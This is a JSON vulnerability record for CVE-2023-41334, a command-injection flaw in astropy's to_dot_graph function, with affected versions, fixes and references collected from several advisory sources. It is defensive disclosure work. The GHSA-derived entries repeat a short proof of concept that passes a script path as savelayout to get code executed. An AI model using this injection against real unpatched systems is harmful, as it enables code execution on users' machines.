{"id":"CVE-2023-41334","aliases":["DEBIAN-CVE-2023-41334","DLA-3803-1","EUVD-2024-0929","GHSA-h2x6-5jx5-46hf","MGASA-2024-0313","PYSEC-2026-1199","UBUNTU-CVE-2023-41334","openSUSE-SU-2024:13797-1","openSUSE-SU-2026:11353-1"],"status":"published","title":"astropy vulnerable to RCE in TranformGraph().to_dot_graph function","description":"Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.","severity":{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01134,"percentile":0.66698,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74","CWE-77"],"published":"2024-03-18T18:48:14Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"PyPI","package":"astropy","fixed_in":["5.3.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"astropy","fixed_in":["5.3.3-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"astropy","fixed_in":["5.3.3-1"],"sources":["osv"]},{"ecosystem":"Debian:10","package":"astropy","fixed_in":["3.1.2-2+deb10u1"],"sources":["osv"]},{"ecosystem":"Mageia:9","package":"python-astropy","fixed_in":["5.1.1-1.1.mga9"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-astropy","fixed_in":["8.0.1-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.1-2","5.2.1-2+deb12u1","5.3-1","5.3.1-1","5.3.1-2","5.3.2-1","5.3.3-1","5.3.4-1","5.3.4-2","5.3~rc1-1","6.0.0-1","6.0.0~rc1-1","6.0.0~rc2-1","6.0.0~rc2-2","6.0.1-1","6.0.1-2","6.0.1-3","6.0.1-4","6.1.1-1","6.1.2-1","6.1.3-1","6.1.4-1","6.1.4-2","6.1.5-1","6.1.5-2","7.0.0-1","7.0.0-2","7.0.0-3","7.0.0-4","7.0.0-5","7.0.0~rc1-1","7.0.1-1","7.0.1-2","7.0.1-3","7.0.1-4","7.0.1-5","7.1.0-1","7.1.0-2","7.1.1-1","7.1.1-2","7.1.1-3","7.1.1-4","7.2.0-1","7.2.0~rc2-1","8.0.0-1","8.0.0~b1-1","8.0.0~rc1-1","8.0.1-1","8.0.1-2","8.0.1-3"]},{"source":"osv","ecosystem":"Debian:13","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.3-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.3-1"}]}]},{"source":"osv","ecosystem":"Debian:10","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.2-2+deb10u1"}]}],"versions":["3.1.2-2"]},{"source":"osv","ecosystem":"PyPI","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.3"}]}],"versions":["0.1","0.2","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3","0.3.1","0.3.2","0.4","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4rc1","0.4rc2","1.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.0rc1","1.0rc2","1.1","1.1.1","1.1.2","1.1.post1","1.1.post2","1.1b1","1.1rc1","1.1rc2","1.2","1.2.1","1.2.2","1.2rc1","1.3","1.3.1","1.3.2","1.3.3","1.3rc1","2.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0rc1","3.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0rc1","3.0rc2","3.1","3.1.1","3.1.2","3.1rc1","3.1rc2","3.2","3.2.1","3.2.2","3.2.3","3.2rc1","3.2rc2","4.0","4.0.1","4.0.1.post1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.6.dev27461","4.0rc1","4.0rc2","4.1","4.1rc1","4.1rc2","4.2","4.2.1","4.2rc1","4.3","4.3.1","4.3.post1","4.3rc1","5.0","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.0.8","5.0rc1","5.0rc2","5.1","5.1.1","5.1rc1","5.2","5.2.1","5.2.2","5.2.dev0","5.2rc1","5.3","5.3.1","5.3.2","5.3rc1"]},{"source":"osv","ecosystem":"Mageia:9","package":"python-astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.1-1.1.mga9"}]}]},{"source":"osv","ecosystem":"PyPI","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.3.3"}]}],"versions":["0.1","0.2","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3","0.3.1","0.3.2","0.4","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4rc1","0.4rc2","1.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.0rc1","1.0rc2","1.1","1.1.1","1.1.2","1.1.post1","1.1.post2","1.1b1","1.1rc1","1.1rc2","1.2","1.2.1","1.2.2","1.2rc1","1.3","1.3.1","1.3.2","1.3.3","1.3rc1","2.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0rc1","3.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0rc1","3.0rc2","3.1","3.1.1","3.1.2","3.1rc1","3.1rc2","3.2","3.2.1","3.2.2","3.2.3","3.2rc1","3.2rc2","4.0","4.0.1","4.0.1.post1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.6.dev27461","4.0rc1","4.0rc2","4.1","4.1rc1","4.1rc2","4.2","4.2.1","4.2rc1","4.3","4.3.1","4.3.post1","4.3rc1","5.0","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.0.8","5.0rc1","5.0rc2","5.1","5.1.1","5.1rc1","5.2","5.2.1","5.2.2","5.2.dev0","5.2rc1","5.3","5.3.1","5.3.2","5.3rc1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0-3"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.1-1build1","3.2.2-1ubuntu1","4.0-3","4.0-4ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.2-6ubuntu1","5.0.1-1","5.0.2-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-astropy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.1-1.1"}]}]}],"products":[{"vendor":"astropy","product":"astropy"},{"vendor":"astropy_project","product":"astropy"}],"references":[{"url":"https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","report"]},{"url":"https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-41334","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h2x6-5jx5-46hf","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/41xxx/CVE-2023-41334.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-41334","tags":["advisory"]},{"url":"https://github.com/astropy/astropy","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2024-0313.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=33369","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AFGTG4EH37DFBG66DWJ2DEZNIO44D3AX/","tags":["web"]},{"url":"https://pypi.org/project/astropy","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2023-41334","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-41334","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2023-41334","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2023-41334","title":"astropy vulnerable to RCE in TranformGraph().to_dot_graph function","description":"Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.","status":"published","published":"2024-03-18T18:48:14.795Z","modified":"2024-08-02T19:01:34.383Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:35:18.88314Z"}],"euvd":[{"id":"EUVD-2024-0929","description":"Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.","status":"published","published":"2024-03-18T18:48:14Z","modified":"2024-08-02T19:01:34Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:01.043754Z"}],"ghsa":[{"id":"GHSA-h2x6-5jx5-46hf","title":"RCE in TranformGraph().to_dot_graph function","description":"### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce \u003e /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n\u003e\u003e\u003e from astropy.coordinates.transformations import TransformGraph\n\u003e\u003e\u003e tg = TransformGraph()\n\u003e\u003e\u003e tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n  File \"\u003cstdin\u003e\", line 1, in \u003cmodule\u003e\n  File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n    stdout, stderr = proc.communicate(dotgraph)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n    stdout, stderr = self._communicate(input, endtime, timeout)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n    input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not 'str'\n\u003e\u003e\u003e \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user's machine\n","status":"published","published":"2024-03-18T20:26:33Z","modified":"2024-03-18T21:46:20Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-74","CWE-77"],"updated_at":"2026-11-02T14:37:41.821668Z"}],"nvd":[{"id":"CVE-2023-41334","description":"Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.","status":"published","published":"2024-03-18T19:15:05.897Z","modified":"2026-06-17T06:21:50.713Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:09:10.192572Z"}],"osv":[{"id":"CVE-2023-41334","title":"astropy vulnerable to RCE in TranformGraph().to_dot_graph function","description":"Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.","status":"published","published":"2024-03-18T18:48:14.795Z","modified":"2026-10-28T02:30:25.691633453Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:44:33.244128Z"},{"id":"DEBIAN-CVE-2023-41334","description":"Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.","status":"published","published":"2024-03-18T19:15:05.897Z","modified":"2026-10-26T18:02:33.077686764Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:39.980321Z"},{"id":"GHSA-h2x6-5jx5-46hf","title":"RCE in TranformGraph().to_dot_graph function","description":"### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce \u003e /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n\u003e\u003e\u003e from astropy.coordinates.transformations import TransformGraph\n\u003e\u003e\u003e tg = TransformGraph()\n\u003e\u003e\u003e tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n  File \"\u003cstdin\u003e\", line 1, in \u003cmodule\u003e\n  File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n    stdout, stderr = proc.communicate(dotgraph)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n    stdout, stderr = self._communicate(input, endtime, timeout)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n    input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not 'str'\n\u003e\u003e\u003e \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user's machine\n","status":"published","published":"2024-03-18T20:26:33Z","modified":"2026-07-07T17:57:04.872175879Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-74","CWE-77"],"updated_at":"2026-11-02T15:46:48.546324Z"},{"id":"PYSEC-2026-1199","title":"RCE in TranformGraph().to_dot_graph function","description":"### Summary\nRCE due to improper input validation in TranformGraph().to_dot_graph function\n\n### Details\n\nDue to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. \nhttps://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539\nAlthough an error will be raised, the command or script will be executed successfully.\n\n### PoC\n\n```shell\n$ cat /tmp/script\n#!/bin/bash\necho astrorce \u003e /tmp/poc.txt\n```\n```shell\n$ python3\nPython 3.9.2 (default, Feb 28 2021, 17:03:44) \n[GCC 10.2.1 20210110] on linux\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n\u003e\u003e\u003e from astropy.coordinates.transformations import TransformGraph\n\u003e\u003e\u003e tg = TransformGraph()\n\u003e\u003e\u003e tg.to_dot_graph(savefn=\"/tmp/1.txt\", savelayout=\"/tmp/script\")\nTraceback (most recent call last):\n  File \"\u003cstdin\u003e\", line 1, in \u003cmodule\u003e\n  File \"/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py\", line 584, in to_dot_graph\n    stdout, stderr = proc.communicate(dotgraph)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1134, in communicate\n    stdout, stderr = self._communicate(input, endtime, timeout)\n  File \"/usr/lib/python3.9/subprocess.py\", line 1961, in _communicate\n    input_view = memoryview(self._input)\nTypeError: memoryview: a bytes-like object is required, not 'str'\n\u003e\u003e\u003e \n```\n```shell\n$ cat /tmp/poc.txt\nastrorce\n```\n\n### Impact\ncode execution on the user's machine\n","status":"published","published":"2026-07-07T11:45:35.644849Z","modified":"2026-07-07T17:46:32.339478083Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:54.622769Z"},{"id":"UBUNTU-CVE-2023-41334","description":"Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.","status":"published","published":"2024-03-18T19:15:00Z","modified":"2025-10-24T05:02:15Z","cvss":[{"version":"3.1","score":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:22.741943Z"},{"id":"DLA-3803-1","title":"astropy - security update","status":"published","published":"2024-04-30T00:00:00Z","modified":"2026-03-09T01:20:07.3534Z","updated_at":"2026-11-02T15:46:12.203458Z"},{"id":"MGASA-2024-0313","title":"Updated python-astropy packages fix security vulnerability","description":"Version 5.3.2 of the Astropy core package is vulnerable to remote code\nexecution due to improper input validation in the\n`TranformGraph().to_dot_graph` function. A malicious user can provide a\ncommand or a script file as a value to the `savelayout` argument, which\nwill be placed as the first value in a list of arguments passed to\n`subprocess.Popen`. Although an error will be raised, the command or\nscript will be executed successfully. (CVE-2023-41334)\n","status":"published","published":"2024-09-25T18:08:46Z","modified":"2026-04-16T04:42:15.252595024Z","updated_at":"2026-11-02T15:49:42.684501Z"},{"id":"openSUSE-SU-2024:13797-1","title":"python310-astropy-6.0.0-3.1 on GA media","description":"These are all security issues fixed in the python310-astropy-6.0.0-3.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:40:40.019966Z","updated_at":"2026-11-02T16:58:36.327643Z"},{"id":"openSUSE-SU-2026:11353-1","title":"python313-astropy-8.0.1-1.1 on GA media","description":"These are all security issues fixed in the python313-astropy-8.0.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-23T00:00:00Z","modified":"2026-07-24T17:16:08.688201172Z","updated_at":"2026-11-02T16:58:39.516824Z"}]}}